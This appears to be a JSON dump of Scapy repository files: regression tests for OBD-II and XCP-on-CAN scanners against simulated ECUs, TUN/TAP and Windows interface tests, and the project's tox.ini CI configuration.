\"fuel_system1=OpenLoopInsufficientEngineTemperature fuel_system2=ClosedLoop\", \"data=100 kPa\", \"data=50.0 deg. C\"]\n    for out in expected_output:\n        assert bytes_encode(out) in bytes_encode(std_out1) or bytes_encode(out) in bytes_encode(std_out2)\n\n\n= Test full scan\n\ndrain_bus(iface0)\n\n# Add unsupported PID\ns1_pid01 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID01()])\nexample_responses.append(EcuResponse(responses=s1_pid01))\n\nwith new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \\\n        new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester:\n    answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False)\n    sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 100, 'stop_filter': lambda p: bytes(p) == b\"\\x01\\xff\\xff\\xff\\xff\"})\n    sim.start()\n    try:\n        result = subprocess.Popen([sys.executable, \"scapy/tools/automotive/obdscanner.py\"] + can_socket_string_list + [\"-s\", \"0x7e0\", \"-d\", \"0x7e8\", \"-t\", \"0.30\", \"-f\", \"-1\", \"-3\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        std_out1, std_err1 = result.communicate()\n        result = subprocess.Popen([sys.executable, \"scapy/tools/automotive/obdscanner.py\"] + can_socket_string_list + [\"-s\", \"0x7e0\", \"-d\", \"0x7e8\", \"-t\", \"0.30\", \"-f\", \"-1\", \"-3\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        std_out2, std_err2 = result.communicate()\n    except Exception as e:\n        print(e)\n    finally:\n        tester.send(b\"\\x01\\xff\\xff\\xff\\xff\")\n        sim.join(timeout=10)\n    expected_output = [\"256 requests were sent\", \"1 requests were sent, 1 answered\"]\n    for out in expected_output:\n        assert bytes_encode(out) in bytes_encode(std_out1) or bytes_encode(out) in bytes_encode(std_out2)\n\n+ Cleanup\n\n= Delete vcan interfaces\n\nassert cleanup_interfaces()\n"
  },
  {
    "path": "test/tools/xcpscanner.uts",
    "content": "% Regression tests for the XCP_CAN\n~ scanner\n\n+ Basic operations\n\n= Imports\n\nfrom test.testsocket import TestSocket, cleanup_testsockets\n\n+ Tests XCPonCAN Scanner\n\n=  modules\n\nload_contrib(\"automotive.xcp.xcp\", globals_dict=globals())\nload_contrib(\"automotive.xcp.scanner\", globals_dict=globals())\n\n\n= xcp can scanner broadcast ID-Range\n\nid_range = range(50, 53)\nslave_id_1 = 10\nresponse_id_1 = 11\nslave_id_2 = 20\nresponse_id_2 = 21\n\nslave_1_response = XCPOnCAN(identifier=response_id_1) / CTOResponse(packet_code=0xFF) / TransportLayerCmdGetSlaveIdResponse(can_identifier=slave_id_1)\nslave_2_response = XCPOnCAN(identifier=response_id_2) / CTOResponse(packet_code=0xFF) / TransportLayerCmdGetSlaveIdResponse(can_identifier=slave_id_2)\n\nrandom_xcp_response_1 = XCPOnCAN(identifier=30) / CTOResponse(packet_code=0xFF) / GenericResponse(b\"\\x00\\x00\")\nrandom_xcp_response_2 = XCPOnCAN(identifier=40) / CTOResponse(packet_code=0xFF) / GenericResponse(b\"\\x00\\x00\")\n\nsock1 = TestSocket(XCPOnCAN)\nsock2 = TestSocket(XCPOnCAN)\nsock1.pair(sock2)\n\ndef ecu():\n    for i in range(50, 53):\n        sock1.sniff(count=1, store=False, timeout=2)\n        if i == 50:\n            sock1.send(CAN(identifier=0x90, data=b'\\x01\\x02\\x03'))\n            sock1.send(CAN(identifier=0x90, data=b'\\x05\\x02\\x03'))\n            sock1.send(CAN(identifier=0x90, data=b'\\xff\\x05\\x03'))\n        if i == 51:\n            sock1.send(random_xcp_response_1)\n            sock1.send(random_xcp_response_2)\n        if i == 52:\n            sock1.send(slave_1_response)\n            sock1.send(slave_2_response)\n\n\nthread = threading.Thread(target=ecu)\nthread.start()\n\nscanner = XCPOnCANScanner(sock2, id_range=id_range, sniff_time=0.5)\nresult = scanner.scan_with_get_slave_id()\nthread.join(timeout=3)\nsock1.close()\nsock2.close()\nassert len(result) == 2\nassert result[0].request_id == slave_id_1\nassert result[0].response_id == response_id_1\nassert result[1].request_id == slave_id_2\nassert result[1].response_id == response_id_2\n\n\n= xcp can scanner connect ID-range\nid_range = range(50, 53)\nslave_id = 52\nresponse_id = 11\n\nconnect_response = XCPOnCAN(identifier=response_id) / CTOResponse(packet_code=0xFF) / ConnectPositiveResponse()\n\nrandom_xcp_response_1 = XCPOnCAN(identifier=30) / CTOResponse(packet_code=0xFF) / GenericResponse(b\"\\x00\\x00\")\nrandom_xcp_response_2 = XCPOnCAN(identifier=40) / CTOResponse(packet_code=0xFF) / GenericResponse(b\"\\x10\")\n\nsock1 = TestSocket(XCPOnCAN)\nsock2 = TestSocket(XCPOnCAN)\nsock1.pair(sock2)\n\n\ndef ecu():\n    for i in range(50, 53):\n        sock1.sniff(count=1, store=False, timeout=2)\n        if i == 50:\n            sock1.send(CAN(identifier=0x90, data=b'\\x01\\x02\\x03'))\n            sock1.send(CAN(identifier=0x90, data=b'\\xff\\x05\\x03'))\n        if i == 51:\n            sock1.send(CAN(identifier=0x90, data=b'\\x05\\x02\\x03'))\n            sock1.send(random_xcp_response_1)\n            sock1.send(random_xcp_response_2)\n        if i == slave_id:\n            sock1.send(CAN(identifier=0x90, data=b'\\xff\\x05\\x03'))\n            sock1.send(connect_response)\n\n\nthread = threading.Thread(target=ecu)\nthread.start()\n\nscanner = XCPOnCANScanner(sock2, id_range=id_range, sniff_time=0.5)\nresult = scanner.scan_with_connect()\nthread.join(timeout=3)\nsock1.close()\nsock2.close()\n\nassert len(result) == 1\nassert result[0].request_id == slave_id\nassert result[0].response_id == response_id\n\n\n+ Cleanup\n\n= Delete TestSockets\n\ncleanup_testsockets()\n"
  },
  {
    "path": "test/tuntap.uts",
    "content": "% tuntap tests for Scapy\n\n# Packet capture-based tests are in sendsniff.uts\n\n#######\n+ Test Linux-specific protocol headers for TunTap\n~ linux tun not_libpcap\n\n= Linux-specific protocol headers\n\np = LinuxTunPacketInfo()/IP()\nassert p.type == 2048\n\np = LinuxTunPacketInfo(raw(p))\nassert p.type == 2048\nassert isinstance(p.payload, IP)\n\np = LinuxTunPacketInfo()/IPv6()\nassert p.type == 0x86dd\n\np = LinuxTunPacketInfo(raw(p))\nassert p.type == 0x86dd\n\nassert isinstance(p.payload, IPv6)\n\n#######\n+ Test Darwin-specific protocol headers for utun\n~ osx utun not_libpcap\n\n= Darwin-specific protocol headers\n\np = DarwinUtunPacketInfo()/IP()\nassert p.addr_family == 2\n\np = DarwinUtunPacketInfo(raw(p))\nassert p.addr_family == 2\nassert isinstance(p.payload, IP)\n\np = DarwinUtunPacketInfo()/IPv6()\nassert p.addr_family == socket.AF_INET6\n\np = DarwinUtunPacketInfo(raw(p))\nassert p.addr_family == socket.AF_INET6\nassert isinstance(p.payload, IPv6)\n\n#######\n+ Test tun device\n\n~ tun needs_root not_libpcap\n\n= Create a tun interface\n\nimport subprocess\nfrom threading import Thread\n\ntun0 = TunTapInterface(\"tun0\", strip_packet_info=False)\n\nif LINUX:\n    assert subprocess.check_call([\"ip\", \"link\", \"set\", \"tun0\", \"up\"]) == 0\n    assert subprocess.check_call([\n        \"ip\", \"addr\", \"change\",\n        \"192.0.2.1\", \"peer\", \"192.0.2.2\", \"dev\", \"tun0\"]) == 0\nelif BSD:\n    assert subprocess.check_call([\"ifconfig\", \"tun0\", \"up\"]) == 0\n    assert subprocess.check_call([\n        \"ifconfig\", \"tun0\", \"192.0.2.1\", \"192.0.2.2\"]) == 0\nelse:\n    raise NotImplementedError()\n\nconf.ifaces.reload()\nconf.route.resync()\nconf.route6.resync()\n\n= Setup ICMPEcho_am on the interface\n\nam = tun0.am(ICMPEcho_am, count=3)\nam.defoptsniff['timeout'] = 5\nt_am = Thread(target=am)\nt_am.start()\n\n= Send ping packets from OS into scapy\n\nsend(IP(dst=\"192.0.2.2\")/ICMP(seq=(1,3)))\n\n= Cleanup\n\nt_am.join(timeout=3)\n\ntun0.close()\n\n#######\n+ Test strip_packet_info=False on Linux\n\n~ tun linux needs_root not_libpcap\n\n= Create a tun interface\n\nif not LINUX:\n    raise NotImplementedError()\n\nimport subprocess\n\ntun0 = TunTapInterface(\"tun0\", strip_packet_info=False)\n\nassert subprocess.check_call([\"ip\", \"link\", \"set\", \"tun0\", \"up\"]) == 0\nassert subprocess.check_call([\n    \"ip\", \"addr\", \"change\",\n    \"192.0.2.1\", \"peer\", \"192.0.2.2\", \"dev\", \"tun0\"]) == 0\n\nconf.ifaces.reload()\nconf.route.resync()\nconf.route6.resync()\n\n= Send ping packets from Linux into Scapy\n\ndef cb():\n    send(IP(dst=\"192.0.2.2\")/ICMP(seq=(1,3)))\n\nt = AsyncSniffer(opened_socket=tun0, lfilter=lambda x: ICMP in x, started_callback=cb, count=3)\nt.start()\nt.join(timeout=3)\n\nassert len(t.results) >= 3\nicmp4_sequences = set()\n\nfor pkt in t.results:\n    pkt\n    assert isinstance(pkt, LinuxTunPacketInfo)\n    if not isinstance(pkt.payload, IP) or ICMP not in pkt:\n        # We might get IPv6 router solicitation or other traffic...\n        continue\n    if pkt[IP].src != '192.0.2.1' or pkt[IP].dst != '192.0.2.2' or pkt[ICMP].type != 8:\n        continue\n    icmp4_sequences.add(pkt.seq)\n\n# Expect to get 3 different ICMP sequence numbers\nassert len(icmp4_sequences) == 3\n\n= Delete the tun interface\ntun0.close()\n\n+ Test strip_packet_info=True and IPv6\n\n~ tun needs_root ipv6 not_libpcap\n\n= Create a tun interface with IPv4 + IPv6\n\nimport subprocess\n\ntun0 = TunTapInterface(\"tun0\", strip_packet_info=True)\n\nif LINUX:\n    assert subprocess.check_call([\"ip\", \"link\", \"set\", \"tun0\", \"up\"]) == 0\n    assert subprocess.check_call([\n        \"ip\", \"addr\", \"change\",\n        \"192.0.2.1\", \"peer\", \"192.0.2.2\", \"dev\", \"tun0\"]) == 0\n    assert subprocess.check_call([\n        \"ip\", \"-6\", \"addr\", \"add\",\n        \"2001:db8::1\", \"peer\", \"2001:db8::2\", \"dev\", \"tun0\"]) == 0\nelif BSD:\n    assert subprocess.check_call([\"ifconfig\", \"tun0\", \"up\"]) == 0\n    assert subprocess.check_call([\n        \"ifconfig\", \"tun0\", \"192.0.2.1\", \"192.0.2.2\"]) == 0\n    assert subprocess.check_call([\n        \"ifconfig\", \"tun0\", \"inet6\", \"2001:db8::1/128\", \"2001:db8::2\"]) == 0\nelse:\n    raise NotImplementedError()\n\nconf.ifaces.reload()\nconf.route.resync()\nconf.route6.resync()\n\n= Send ping packets from OS into Scapy\n\ndef cb():\n    send(IP(dst=\"192.0.2.2\")/ICMP(seq=(1,3)))\n    send(IPv6(dst=\"2001:db8::2\")/ICMPv6EchoRequest(seq=(1,3)))\n\nt = AsyncSniffer(opened_socket=tun0, lfilter=lambda x: ICMP in x or ICMPv6EchoRequest in x, started_callback=cb, count=6)\nt.start()\nt.join(timeout=3)\n\nassert len(t.results) >= 6\nicmp4_sequences = set()\nicmp6_sequences = set()\n\nfor pkt in t.results:\n    pkt\n    assert isinstance(pkt, (IP, IPv6))\n    if (isinstance(pkt, IP) and\n        pkt[IP].src == \"192.0.2.1\" and pkt[IP].dst == \"192.0.2.2\" and\n        ICMP in pkt and pkt[ICMP].type == 8):\n        icmp4_sequences.add(pkt[ICMP].seq)\n    if (isinstance(pkt, IPv6) and\n        pkt[IPv6].src == \"2001:db8::1\" and pkt[IPv6].dst == \"2001:db8::2\" and\n        ICMPv6EchoRequest in pkt):\n        icmp6_sequences.add(pkt[ICMPv6EchoRequest].seq)\n\n# Expect to get 3 different ICMP sequence numbers\nassert len(icmp4_sequences) == 3, (\n    \"Expected 3 IPv4 ICMP ping packets, got: \" + repr(icmp4_sequences))\nassert len(icmp6_sequences) == 3, (\n    \"Expected 3 IPv6 ICMP ping packets, got: \" + repr(icmp6_sequences))\n\n= Delete the tun interface\ntun0.close()\n\n+ Test tap interfaces\n\n~ tap needs_root not_libpcap\n\n= Create a tap interface with IPv4\n\nimport subprocess\n\ntap0 = TunTapInterface(\"tap0\")\n\nif LINUX:\n    assert subprocess.check_call([\"ip\", \"link\", \"set\", \"tap0\", \"up\"]) == 0\n    assert subprocess.check_call([\n        \"ip\", \"addr\", \"change\", \"192.0.2.1/30\", \"dev\", \"tap0\"]) == 0\n    assert subprocess.check_call([\n        \"ip\", \"neigh\", \"replace\",\n        \"192.0.2.2\", \"lladdr\", \"20:00:00:20:00:00\", \"dev\", \"tap0\"]) == 0\nelse:\n    assert subprocess.check_call([\"ifconfig\", \"tap0\", \"up\"]) == 0\n    assert subprocess.check_call([\n        \"ifconfig\", \"tap0\", \"192.0.2.1\", \"netmask\", \"255.255.255.252\"]) == 0\n    assert subprocess.check_call([\n        \"arp\", \"-s\", \"192.0.2.2\", \"20:00:00:20:00:00\", \"temp\"]) == 0\n\nconf.ifaces.reload()\nconf.route.resync()\nconf.route6.resync()\n\n= Send ping packets from OS into Scapy\n\nconf.ifaces\nconf.route\n\ndef cb():\n    sendp(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/IP(dst=\"192.0.2.2\")/ICMP(seq=(1,3)), iface=\"tap0\")\n\nt = AsyncSniffer(opened_socket=tap0, lfilter=lambda x: ICMP in x, started_callback=cb, count=3)\nt.start()\nt.join(timeout=3)\n\nassert len(t.results) >= 3\nicmp4_sequences = set()\n\nfor pkt in t.results:\n    pkt\n    assert isinstance(pkt, Ether)\n    if (IP in pkt and\n        pkt[IP].src == \"192.0.2.1\" and pkt[IP].dst == \"192.0.2.2\" and\n        ICMP in pkt and pkt[ICMP].type == 8):\n        icmp4_sequences.add(pkt[ICMP].seq)\n\n# Expect to get 3 different ICMP sequence numbers\nassert len(icmp4_sequences) == 3, (\n    \"Expected 3 IPv4 ICMP ping packets, got: \" + repr(icmp4_sequences))\n\n= Delete the tap interface\ntap0.close()\n\n+ Refresh interfaces\n~ linux tun tap not_libpcap\n\n= Cleanup\n\nconf.ifaces.reload()\nconf.route.resync()\nconf.route6.resync()\n"
  },
  {
    "path": "test/windows.uts",
    "content": "% Regression tests on Windows only for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n+ Configuration\n\n= Imports\n\nfrom unittest import mock\n\n############\n############\n+ Mechanics tests\n\n= Automaton - Test select_objects edge cases\n\nassert select_objects([ObjectPipe()], 0) == []\nassert select_objects([ObjectPipe()], 1) == []\n\na = ObjectPipe()\na.send(\"test\")\nassert select_objects([a], 0) == [a]\n\n############\n############\n+ Windows arch unit tests\n\n= Test network_name\n\niface = conf.iface\n\nassert network_name(iface.name) == iface.network_name\nassert network_name(iface.description) == iface.network_name\nassert network_name(iface.network_name) == iface.network_name\n\n= dev_from_networkname\n\nfrom scapy.config import conf\n\nassert dev_from_networkname(conf.iface.network_name).guid == conf.iface.guid\n\n= test pcap_service_status\n~ npcap_service\n\nfrom scapy.arch.windows import pcap_service_status\n\nstatus = pcap_service_status()\nassert status\n\n= test get_if_list\n\nfrom scapy.interfaces import get_if_list\n\nprint(get_if_list())\nassert all(x.startswith(r\"\\Device\\NPF_\") for x in get_if_list())\n\n= test pcap_service_stop\n~ ci_only require_gui npcap_service\n\nfrom scapy.arch.windows import pcap_service_stop\n\npcap_service_stop()\nassert pcap_service_status() == False\n\n= test pcap_service_start\n~ ci_only require_gui npcap_service\n\nfrom scapy.arch.windows import pcap_service_start\n\npcap_service_start()\nassert pcap_service_status() == True\n\n= Test auto-pcap start UI\n\n@mock.patch(\"scapy.arch.windows.get_windows_if_list\")\ndef _test_autostart_ui(mocked_getiflist):\n    mocked_getiflist.side_effect = lambda: []\n    conf.ifaces.reload()\n    assert all(x.index < 0 for x in conf.ifaces.data.values())\n\ntry:\n    old_ifaces = conf.ifaces.data.copy()\n    _test_autostart_ui()\nfinally:\n     conf.ifaces.data = old_ifaces\n\n######### Native mode ###########\n\n+ Test Windows Native sockets\n\n= Set up native mode\n\nconf.use_pcap = False\nconf.route.resync()\nconf.ifaces.reload()\nassert conf.use_pcap == False\n\n= Ping\n~ netaccess needs_root icmp_firewall\n\ndef _test():\n    with conf.L3socket() as a:\n        answer = a.sr1(IP(dst=\"1.1.1.1\", ttl=128)/ICMP()/\"abcdefghijklmnopqrstuvwabcdefghi\", timeout=2)\n        answer.show()\n        assert ICMP in answer\n\nretry_test(_test)\n\n= DNS lookup\n~ netaccess needs_root\n\ndef _test():\n    answer = sr1(IP(dst=\"8.8.8.8\")/UDP()/DNS(rd=1, qd=DNSQR(qname=\"www.google.com\")), timeout=2)\n    answer.show()\n    assert DNS in answer\n    assert answer.qd.qname == b'www.google.com.'\n\nretry_test(_test)\n\n= Test L3WinSocket close() with partial initialization\n~ windows\n\nfrom scapy.arch.windows.native import L3WinSocket\nimport socket\n\n# Create partially initialized L3WinSocket\nws = object.__new__(L3WinSocket)\nws.closed = False\nws.promisc = True\n# Note: ws.ins is intentionally not set\n\n# This should not raise AttributeError\ntry:\n    ws.close()\n    test_passed = True\nexcept AttributeError:\n    test_passed = False\n\nassert test_passed, \"L3WinSocket.close() raised AttributeError on partially initialized object\"\n\n= Leave native mode\n\nconf.use_pcap = True\nconf.route.resync()\nconf.ifaces.reload()\nassert conf.use_pcap == True\n"
  },
  {
    "path": "tox.ini",
    "content": "# Scapy tox configuration file\n# Copyright (C) 2020 Guillaume Valadon <guillaume@valadon.net>\n\n\n# Tox environments:\n# py{version}-{os}-{non_root,root}\n# In our testing, version can be 37 to 313 or py39 for pypy39\n\n[tox]\n# minversion = 4.0\nskip_missing_interpreters = true\n# envlist = default when doing 'tox'\nenvlist = py{37,38,39,310,311,312,313}-{linux,bsd,windows}-{non_root,root}\n\n# Main tests\n\n[testenv]\ndescription = \"Scapy unit tests\"\nallowlist_externals = sudo\nparallel_show_output = true\npackage = wheel\npassenv =\n    PATH\n    PWD\n    PROGRAMFILES\n    WINDIR\n    SYSTEMROOT\n    OPENSSL_CONF\n    # Used by scapy\n    SCAPY_USE_LIBPCAP\ndeps =\n       ipython\n       cryptography\n       coverage[toml]\n       python-can\n       cbor2\n       scapy-rpc\n       # disabled on windows because they require c++ dependencies\n       # brotli 1.1.0 broken https://github.com/google/brotli/issues/1072\n       brotli < 1.1.0 ; sys_platform != 'win32'\n       zstandard ; sys_platform != 'win32'\nplatform =\n  linux: linux\n  bsd: (darwin|freebsd|openbsd|netbsd).*\n  windows: win32\ncommands =\n  linux-non_root: {envpython} {env:DISABLE_COVERAGE:-m coverage run} -m scapy.tools.UTscapy -c ./test/configs/linux.utsc -N {posargs}\n  linux-root: sudo -E {envpython} {env:DISABLE_COVERAGE:-m coverage run} -m scapy.tools.UTscapy -c ./test/configs/linux.utsc {posargs}\n  bsd-non_root: {envpython} {env:DISABLE_COVERAGE:-m coverage run} -m scapy.tools.UTscapy -c test/configs/bsd.utsc -K tshark -N {posargs}\n  bsd-root: sudo -E {envpython} {env:DISABLE_COVERAGE:-m coverage run} -m scapy.tools.UTscapy -c test/configs/bsd.utsc -K tshark {posargs}\n  windows: {envpython} {env:DISABLE_COVERAGE:-m coverage run} -m scapy.tools.UTscapy -c test/configs/windows.utsc {posargs}\n  {env:DISABLE_COVERAGE:coverage combine}\n  {env:DISABLE_COVERAGE:coverage xml -i}\n\n# Variants of the main tests\n\n[testenv:py38-isotp_kernel_module]\ndescription = \"Scapy unit tests - ISOTP Linux kernel module\"\nallowlist_externals = sudo\n                      git\n                      bash\n                      lsmod\n                      modprobe\npassenv =\n    PATH\n    PWD\n    PROGRAMFILES\n    WINDIR\n    SYSTEMROOT\ndeps = {[testenv]deps}\ncommands =\n  sudo apt-get -qy install build-essential linux-headers-$(uname -r) linux-modules-extra-$(uname -r)\n  sudo -E modprobe can\n  git clone --depth=1 https://github.com/linux-can/can-utils.git /tmp/can-utils\n  bash -c \"cd /tmp/can-utils; ./autogen.sh; ./configure; make; sudo make install\"\n  git clone --depth=1 https://github.com/hartkopp/can-isotp.git /tmp/can-isotp\n  bash -c \"cd /tmp/can-isotp; make; sudo make modules_install; sudo modprobe can_isotp || sudo insmod ./net/can/can-isotp.ko\" \n  bash -c \"rm -rf /tmp/can-utils /tmp/can-isotp\"\n  lsmod\n  sudo -E {envpython} -m coverage run -m scapy.tools.UTscapy -c ./test/configs/linux.utsc {posargs}\n  coverage combine\n  coverage xml -i\n\n# Test used by upstream pyca/cryptography\n[testenv:cryptography]\ndescription = \"Scapy unit tests - pyca/cryptography variant\"\nsitepackages = true\ndeps =\ncommands =\n  python -c \"import cryptography; print('DEBUG: cryptography %s' % cryptography.__version__)\"\n  python -m scapy.tools.UTscapy -c ./test/configs/cryptography.utsc\n\n# The files listed past the first argument of the sphinx-apidoc command are ignored\n[testenv:apitree]\ndescription = \"Regenerates the API reference doc tree\"\nskip_install = true\nchangedir = {toxinidir}/doc/scapy\ndeps = sphinx\n       cryptography\ncommands =\n  sphinx-apidoc -f --no-toc -d 1 --separate --module-first --templatedir=_templates --output-dir api ../../scapy ../../scapy/modules/voip.py ../../scapy/modules/krack/ ../../scapy/libs/winpcapy.py ../../scapy/libs/ethertypes.py ../../scapy/libs/bluetoothids.py ../../scapy/libs/m*.py ../../scapy/libs/structures.py ../../scapy/libs/test_pyx.py ../../scapy/tools/ ../../scapy/arch/ ../../scapy/contrib/scada/* ../../scapy/layers/msrpce/raw/ ../../scapy/layers/msrpce/all.py ../../scapy/all.py ../../scapy/layers/all.py ../../scapy/compat.py\n\n\n[testenv:mypy]\ndescription = \"Check Scapy compliance against static typing\"\nskip_install = true\ndeps = mypy==1.7.0\n       typing\ncommands = python .config/mypy/mypy_check.py linux\n           python .config/mypy/mypy_check.py win32\n\n\n[testenv:docs]\ndescription = \"Build the docs\"\ndeps = cryptography\n       sphinx\n       sphinx_rtd_theme\nextras = doc\nchangedir = {toxinidir}/doc/scapy\ncommands =\n  sphinx-build -W --keep-going -b html . _build/html\n\n\n# Debug mode\n[testenv:docs2]\ndescription = \"Build the docs without rebuilding the API tree\"\nextras = doc\nchangedir = {toxinidir}/doc/scapy\ndeps = {[testenv:docs]deps}\nsetenv =\n  SCAPY_APITREE = 0\ncommands =\n  sphinx-build -W --keep-going -b html . _build/html\n\n\n[testenv:spell]\ndescription = \"Check code for Grammar mistakes\"\nskip_install = true\ndeps = codespell\n# inet6, dhcp6 and the ipynb files contains french: ignore them\ncommands = codespell --ignore-words=.config/codespell_ignore.txt --skip=\"*.pyc,*.png,*.jpg,*.ods,*.raw,*.pdf,*.pcap,*.js,*.html,*.der,*_build*,*inet6.py,*dhcp6.py,*manuf.py,*tcpros.py,*bluetoothids.py,*.ipynb,*.svg,*.gif,*.obs,*.gz\" scapy/ doc/ test/ .github/\n\n\n[testenv:twine]\ndescription = \"Check Scapy code distribution\"\nskip_install = true\ndeps = twine\n       cmarkgfm\n       build\nsetenv = SCAPY_VERSION=3.0.0\ncommands = python -m build\n           twine check --strict dist/*\n\n\n[testenv:gitarchive]\ndescription = \"Check Scapy git archive\"\nskip_install = true\nallowlist_externals = git\ncommands = git version\n           git archive HEAD -o {envtmpdir}/scapy.tar\n           python -m pip install {envtmpdir}/scapy.tar\n           # Below: remove current folder from path to force use of installed Scapy\n           python -c \"import sys; sys.path.remove(''); import scapy; print(scapy._version_from_git_archive())\"\n\n\n[testenv:flake8]\ndescription = \"Check Scapy code style & quality\"\nskip_install = true\ndeps = flake8<6.0.0\ncommands = flake8 scapy/\n\n\n# flake8 configuration\n[flake8]\nignore = E203, E731, W504, W503\nmax-line-length = 88\nper-file-ignores =\n    scapy/all.py:F403,F401\n    scapy/asn1/mib.py:E501\n    scapy/contrib/automotive/obd/obd.py:F405,F403\n    scapy/contrib/automotive/obd/pid/pids.py:F405,F403\n    scapy/contrib/automotive/obd/scanner.py:F405,F403,E501\n    scapy/contrib/automotive/volkswagen/definitions.py:E501\n    scapy/contrib/eigrp.py:E501\n    scapy/contrib/geneve.py:E501\n    scapy/contrib/http2.py:F821\n    scapy/contrib/igmp.py:E501\n    scapy/contrib/scada/iec104/__init__.py:F405\n    scapy/layers/tls/all.py:F403\n    scapy/layers/tls/crypto/all.py:F403\n    scapy/layers/tls/crypto/md4.py:E741\n    scapy/libs/winpcapy.py:F405,F403,E501\n    scapy/libs/manuf.py:E501\n    scapy/tools/UTscapy.py:E501\nexclude = scapy/libs/ethertypes.py,\n          scapy/layers/msrpce/raw/*\n"
  }
]